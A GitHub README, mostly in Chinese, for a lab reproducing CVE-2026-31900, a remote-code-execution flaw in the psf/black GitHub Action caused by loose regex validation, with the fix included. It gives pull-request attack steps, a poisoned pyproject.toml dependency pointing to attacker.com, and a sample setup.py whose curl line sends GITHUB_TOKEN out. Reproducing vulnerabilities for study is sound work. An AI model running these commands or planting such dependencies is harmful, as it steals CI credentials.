Batosay1337Lab/cve-2026-31900-lab
GitHub: Batosay1337Lab/cve-2026-31900-lab
这是一个针对 CVE-2026-31900 的漏洞复现实验室,用于演示 psf/black GitHub Action 因正则验证不严格导致的远程代码执行漏洞。
Stars: 0 | Forks: 1
# CVE-2026-31900 — 漏洞实验室
**psf/black GitHub Action RCE via Insecure Regex Validation**
| 字段 | 详情 |
|-------|--------|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (高危) |
| Advisory | GHSA-v53h-f6m7-xcgm |
| 受影响 | psf/black GitHub Action < v26.3.0 |
| 类型 | RCE via Supply Chain (pull_request 触发器) |
## 漏洞
`use_pyproject: true` 选项从 `pyproject.toml` 读取 Black 版本。用于验证版本字符串的正则表达式由于使用了 `re.IGNORECASE` 而过于宽松,允许使用空格、`@`、`:` 和 `/` 等字符 —— 这些正是 PEP 508 URL 规范所需要的字符。
### 易受攻击的正则表达式
```
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
```
## 攻击向量
1. Fork 此仓库
2. 在你的 fork 中修改 `pyproject.toml`:
```
[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
```
3. 打开 Pull Request → `pull_request` workflow 触发器被触发
4. Action 从 `pyproject.toml` 读取恶意版本,绕过正则验证
5. pip 安装攻击者控制的包 → `setup.py` 执行任意代码
### 恶意包 `setup.py` 示例
```
from setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
```
## 凭据窃取影响
- `$GITHUB_TOKEN` (CI runner 令牌)
- 注入到 workflow 环境中的任何机密
## 修复
升级到 **psf/black v26.3.0** 或在 workflow YAML 中显式固定版本,而不是使用 `use_pyproject: true`。
## 实验室结构
```
.github/workflows/black.yml ← Vulnerable workflow (use_pyproject: true)
pyproject.toml ← Legitimate config (main branch)
app.py ← Sample Python file being formatted
```
标签:CI/CD安全, CVE-2026-31900, DevSecOps, GHSA-v53h-f6m7-xcgm, GitHub Actions, GITHUB_TOKEN, Llama, PEP 508, pip安装, PSF/Black, pyproject.toml, Python代码格式化, RCE, Regex Bypass, Vulnerable Lab, 上游代理, 依赖投毒, 安全靶场, 正则表达式绕过, 漏洞复现, 编程工具, 自动化攻击, 自动笔记, 足迹探测, 远程代码执行, 逆向工具, 高危漏洞